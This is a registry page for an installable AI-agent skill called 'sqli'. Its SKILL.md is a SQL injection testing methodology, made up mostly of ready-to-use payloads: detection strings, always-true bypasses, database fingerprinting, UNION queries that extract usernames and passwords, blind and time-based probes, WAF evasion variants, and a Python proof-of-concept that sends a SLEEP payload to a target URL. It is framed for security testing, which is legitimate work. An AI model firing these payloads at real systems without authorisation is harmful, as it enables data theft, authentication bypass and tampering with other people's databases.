smithery.ai

sqli

SQL Injection testing methodology with payloads for union, blind, time-based, and error-based attacks

First seen Mar 26, 2026

Installation

$ npx skills add https://smithery.ai

Similar popular skills

Related neighbors and high-traction skills in the same topics — useful to compare before installing.

Also in this package

Other skills from smithery.ai · top by installs.

npx skills add https://smithery.ai

Browse all from smithery.ai

More details

Agent compatibility

Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.

Claude Code Not declared
Cursor Not declared
Codex Not declared
GitHub Copilot Not declared
Windsurf Not declared
Gemini CLI Not declared
Cline Not declared
OpenCode Not declared

Skill metadata

Parsed from SKILL.md frontmatter.

Version1.0.0

Package contents

Files included with this skill beyond the listing page.

  • skill md SKILL.md 2,287 B
  • docs SUMMARY.md 113 B

History

  1. First seen on skills.sh
  2. First recorded snapshot · 2 installs

SKILL.md

SQL Injection Testing Methodology

Overview

SQL Injection allows attackers to interfere with database queries, potentially accessing or modifying data.

Types

  1. Union-based: Extract data via UNION SELECT
  2. Error-based: Extract data via error messages
  3. Blind Boolean: Infer data from true/false responses
  4. Blind Time-based: Infer data from response delays
  5. Stacked Queries: Execute multiple statements

Testing Methodology

1. Detection

'
"
`
')
")
`)
'))
"))
`))

2. Confirm Injection

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1'/*
" OR "1"="1
1 OR 1=1
1' OR '1'='1

3. Database Identification

-- MySQL
' AND 1=1 AND 'a'='a
SELECT @@version
SELECT version()

-- PostgreSQL
' AND 1=1 --
SELECT version()

-- MSSQL
'; SELECT @@version--
' AND 1=1--

-- Oracle
' AND 1=1--
SELECT banner FROM v$version

4. Union-based Extraction

-- Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

-- Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--

5. Blind Boolean

' AND 1=1--     (true)
' AND 1=2--     (false)
' AND SUBSTRING(username,1,1)='a'--
' AND (SELECT COUNT(*) FROM users)>0--

6. Time-based

-- MySQL
' AND SLEEP(5)--
' AND BENCHMARK(10000000,SHA1('test'))--

-- PostgreSQL
'; SELECT pg_sleep(5)--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--

7. WAF Bypass

' /*!50000OR*/ '1'='1
' OR/**/'1'='1
'+OR+'1'='1
' || '1'='1
%27%20OR%20%271%27%3D%271

PoC Template

import requests
import time

def test_sqli(url, param):
    # Test time-based blind
    payload = "' AND SLEEP(5)--"
    start = time.time()
    r = requests.get(url, params={param: payload})
    elapsed = time.time() - start
    
    if elapsed >= 5:
        print(f"[+] Time-based SQLi found!")
        return True
    return False

Impact

  • Data theft
  • Authentication bypass
  • Data modification/deletion
  • Remote code execution (in some cases)